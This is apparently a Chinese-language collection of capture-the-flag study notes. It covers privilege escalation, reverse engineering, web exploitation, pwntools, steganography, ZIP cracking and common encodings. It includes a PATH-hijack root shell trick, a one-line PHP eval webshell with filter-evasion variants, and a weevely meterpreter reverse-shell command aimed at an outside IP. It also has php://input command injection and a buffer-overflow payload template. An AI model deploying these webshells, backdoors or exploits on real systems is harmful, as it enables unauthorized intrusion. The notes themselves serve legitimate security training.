训练站点
系统 Exploit
Linux Exploit
C编译
应当不用保护
gcc 1.c -o 1 -O0 -fno-stack-protector -z execstack 1.c -o 1
-m32: 32bit 编译
提权
- 参考这篇文章
查看可使用的执行文件
find / -perm -u=s -type f 2 >/dev/null
通过这个命令查看哪些文件可以被现在的用户使用,并找到提权方法。
修改变量攻击
思路是找到s
权限的执行文件,这个执行文件包括调用了更高级别的命令。
那么就可以通过修改其中的命令的调用地址来达到目的
比如flag01
使用到了ps
命令
$ echo '/bin/bash' > /tmp/ps
$ chmod 777 /tmp/ps
$ export PATH=/tmp:$PATH
$ ./flag01
system() 任意命令攻击
原理是使用print系函数向buff
中写入了可选字符串,然后通过system()
运行
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
system(buffer);
上例中就将getenv('USER')
作为变量输入,利用方法就是修改环境变量达到任意命令的写入
Windows Exploit
提权
字节序(小端机和大端机)
一般来说,WIndows和Linux都是使用的小端机模式。
而网络传输使用的是大端机
import struct
struct.pack('<i', 0x01020304)
# < 是小端模式
# i 是整数型
逆向工程
大部分因为都是Linux下面的题目,所以下面写的默认为Linux操作
静态工具
objdump
- 将整个文件反汇编Dump下来
objdump -d -M intel <file_name> > dump.asm
- 获取 got 表
objdump -R <file_name>
strings
用于查找文件中的字符串
ldd
用于查看动态链接库
file
查看文件类型
checksec
查看保护状态
十六进制编辑
hexeditor -b <file>
ctrl + i
十六进制和文本切换ctrl + a
插入ctrl + d
删除ctrl + o
保存
动态调试工具
脱壳
当看到其中包含大量的加密字段,不要怀疑是否需要解密,直接找找字符串,看是什么壳
UPX
- upx 这样的经典壳可以自动脱壳
upx -d <file>
其他类型题目
数独
要做数独,一定会给出基础数字以及体积关系,比如9*9
大小的各个数存在内存中。
所以解题逻辑就是找到申请的内存,然后再找到初始化的数值。
最后通过在线网站解出答案
提交的flag原始数据替换为0,因为提交的答案是要验证的。
Web
对图片的验证
使用的是google开源的图片识别系统pytesseract
对图像的打开使用的是PIL
Python Image Library
import pytesseract
from PIL import Image
img = Image.open('code.png')
text = pytesseract.image_to_string(img)
上传 webshell
一句话木马
基本型
<?php
eval($_POST['a']);
?>
变体
这里是变形体的总结
- 修改脚本语言标签
<?php ?>
为 <script language="PHP"> </script>
注意为"
webshell 工具
CKnife
这里是跨平台CKnife的 Github 地址
webcaoo
生成
webacoo -g -o a.php
连接
webacoo -t -u <url>
weevely
- 生成
weevely generate <password> <path>
- 连接
weevely <URL> <password> [cmd]
- 常用命令
:system_info 收集系统基本信息 :audit_filesystem 查找系统文件中的弱权限 :audit_suidsgid 查找有使用高级权限的文件 :shell_sh 执行SHELL命令 :backdoor_meterpreter 通过meterpreter连接 > backdoor_meterpreter -payload linux/x64/meterpreter/reverse_tcp -host 144.34.215.199 -port 4444 > msfconsole(LHOST 127.0.0.1) :file_download 下载文件 :sql_console sql交互 :sql_dump 脱库 :net_scan 网络扫描
文件上传漏洞
- 在
phpinfo()
中allow_url_include
处于开启状态,意味着可以使用RAW_POST
提交数据
<url>?path=php://input
post:
<?php system('ls'); ?>
- 文件的写入除了
fwrite()
还有**file_put_contents
**
file_put_contents
除了string
还支持数组。
所以可以像data[]=<?php eval() ?>
这样,通过数组绕过正则检测。
- 限制上传
当出现限制上传的时候,应该首先考虑是否有javascript
脚本或者通过修改Content-Type
类型来达到绕过的目的。、
Pwntools
from pwn import *
连接
c = remote(ip, port)
发送和接收
send(payload) # 发送payload
sendline(payload) # 发送payload, 已\n换行
sendafter(some_string, payload) # 接受到some_string后发送payload
recvn(n) # 接受N(数字)字符
recvline() #接受一行输出
recvlines(n) # 接收N行输出
recvuntil(some_string) # 接收到 some_string 为止
转码
p32(0x01020304) # '\x04\x03\x02\x01'
# 小端序格式转化4个字节
p64()
p16()
交互
c.interactive()
调试
p = process('./prc') # 运行设置要运行的程序
context.log_level = 'DEBUG' # 显示所有输入输出信息
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] # 设置运行的terminal, 还可以安装tmux
gdb.attach(p)
基本模板
from pwn import *
context.log_level = 'debug' #debug模式,可输出详细信息
conn = remote('127.0.0.1' , 12345) #通过socat将二进制文件运行在某个端口之后,可使用本语句建立连接,易于在本地与远程之间转换。
print str(pwnlib.util.proc.pidof('<file_name>')[0]) #这两条便于在gdb下迅速attach 上对应的pid
## context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof('<file_name>')[0])
raw_input('continue')
conn.recvuntil('Welcome') #两种不同的recv
conn.recv(2048)
shellcode = p32(0x0804a028) #用于将数字变成\x28\xa0\x04\x08的形式
conn.sendline(shellcode) #向程序发送信息,使用sendline而非send是个好习惯
conn.interactive() #拿到shell之后,用此进行交互
from pwn import *
pwn=remote("127.0.0.1","12345")
payload='A'*136 + p64(0x00000000004005bd)
##pwn.recvuntil('Welcome') #两种不同的recv
pwn.sendline(payload)
pwn.interactive()
本地调试
socat tcp-listen:12345,fork EXEC:./<file_name>
gdb -> attach <pid> # 通过附加来得到准确的调试
MISC
隐写术
图片的隐写术
一般使用Stegsolve
这个工具。
这个工具包含:
- 可以键盘左右来测试不同的色彩通道
- 和其他图片进行xor,sub等操作
- 对
gif
格式的动图可以一帧一帧的看
LSB 最低有效位 (Least Significant Bit)
这个的原理是利用RGB后两位的差别人眼看不出来的利用。将信息写在RGB的后2bit。
(而要使用这样的隐写术,jpg
格式就不行,因为jpg
格式的会有损压缩。)
解题用到Stegsolve
这个工具。
这里是参考文章
图片的叠加
通常首先检查这个图片是否有其他文件叠加起来,为什么可以叠加,原因在于PNG的结束符为FF D9
。结束符后面的内容不做显示。
查看并且提取文件的方法:
binwalk -e <file>
-e 是提取文件。foremost <file>
提取文件dd if=要分离的图片名.jpg of=分离出来的图片名.jpg skip=偏移量 bs=1
手动分离
音频的隐写术
- 参考这篇总结
一般使用Audacity
工具
莫斯密码
有敲打声, 放大波形图
频谱图
有的会通过在频谱中写入flag的方式来隐藏
解密的方法是在Audacity点击轨道名称 -> 频谱图
网络包的隐写术
隐藏在tcp流中的文件提取方法
- 通过
文件 -> 导出对象 -> HTTP
选择需要导出的文件
或者
- 找到tcp流,然后保存为
C Array
格式的文件,简单的修改数组为python
格式的数组后,写段脚本保存到二进制文件
with open('test.bin', 'wb') as file:
a = bytearray(array_code)
file.write(a)
- 使用
foremost
工具
foremost -v -i file.pcap
通过报文的长度传递信息
常见的是ping
可以随意的控制报文的长度,通过时间顺序排列出ping
报文,然后得出长度,但是这个长度一般是有偏移的,所以写一个遍历range(-50, 50)
这样的偏离就可以找到flag
了
cap文件载入出错
有时候会有cap
文件载入出错,此时需要修复为pcap
文件, 在这个网站修复
将flag放在IP头部中
一般会有一序列能让你找到的flag
字符串,找到后这些TCP中的IP头部中可能就会隐藏着真正的flag
要如何找,flag会被拆分放到各个TCP中,而且可能是颠倒的,所以还是要考眼力,多种情况的flag样式要敏感
SSL加密报文
想要解密SSL的加密报文,需要有key.log
,这个key的格式如下:
CLIENT_RANDOM a3cd2cd8add1529ff7c65dc2fdc99504ca00b38f79bad693372ddc1d23cf6e50 4cc397a91832195287d8614db7e5c9175395a7063eefed8d3b2b06c04a8213345fcdd233e4b82a8695dd17c32bfaeeb9
这里是如何使用wireshark解密SSL的文章。
简单来讲是找到key.log
后Wireshark->Edit->Preferences->Protocols->SSL->(Pre)-Master-Secret log filename-><path>\sslkey.log
文件头部破坏
- 这里是各种头部的特征码
GIF
GIF字段+版本号,通常是:
GIF89a
或者GIF87a
PNG
通常是89 50 4E 47 0D 0A 1A 0A 00 00 00 00 49 48 44 52 .PNG........IHDR
文本转到二进制文件
- 当给出的是
00000000: 4c5a 4950 01b3 007f b61b edf0 8440 58e3 LZIP.........@X.
这样的文件时,可以通过xxd
直接转换成二进制文件
cat file.txt | xxd -r > file.bin
- 当给出的是
4c5a 4950 01b3 007f b61b edf0 8440 58e3
这样的,或者是wireshark给的C Array
类型的数组格式
f = open('./file.txt')
tmp = []
for line in f.readlines():
for i in line.strip().split(' '):
if len(i) == 4:
tmp.append(int(i[:2], 16))
tmp.append(int(i[2:], 16))
elif len(i) == 2:
tmp.append(int(i, 16))
out = open('./file.bin', 'wb')
out.write(bytearray(tmp)) # bytearray()是关键方法
关于 ZIP 的题目
- 这里是关于ZIP破解的总结
爆破软件
ZipPasswordTool.exe
HAP_Advanced Archive Password Recovery 4.53.exe
伪密码
方法是定位到50 4B 01 02
,然后向后找到09 00
修改为00 00
如果是伪加密,那么就可以直接解压了。unzip
在010Editor
中可以看到,伪密码所在的地方是ZIPDIRENTRY -> deFlags
奇数加密,偶数不加密。
爆破
多线程使用 ZipPasswordTool.exe
当需要用到掩码的时候,使用AdvancedArchivePasswordRecovery.exe
明文攻击
当能够取得加密文件中其中一个文件时,可以使用明文攻击。
原理是通过计算crc
的值而直接得到加密秘钥。
LZIP 文件
lzip
文件是单文件压缩,通过工具lzip -d
解压
python 反编译
- 使用
uncompyle2
反编译
- 使用这个网站反编译
加解密
在线工具集
Quoted-printable编码
可打印编码
特点 是有3个为一组,每组开头都是=
e.g: =B9=A4=D7=F7=BC=F2=B1=A8
用处是可以用在非8bit的传输通道上
XXencode
特点 是末尾有+
或者-
MD5
特点 是数字+字母
,并且要么是32位,要么是64位
二进制
特点 8bit一组的0
1
JsFuck
特点 全是[
]
!
bubblepy
特点 已字母5个为一组,用-
连接
如:
xinik-samak-luvag-hutaf-fysil-notok-mepek-vanyh-zipef-hilok-detok-damif-cusol-fezyx
解密方法是使用python的库
pip install bubblepy
>>> from bubblepy import BubbleBabble
>>> str = 'xinik-samak-luvag-hutaf-fysil-notok-mepek-vanyh-zipef-hilok-detok-damif-cusol-fezyx'
>>> BubbleBabble().decode(str)
'flag{Ev3ry7hing_i5_bubb13s}'
PDF417
二维条形码,比普通条形码能记录更多的东西,并且不需要数据库。
在线条码读取器,翻墙。比手机要准确,支持多种格式。
差分曼彻斯特编码
常用于局域网的传输
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 365433079@qq.com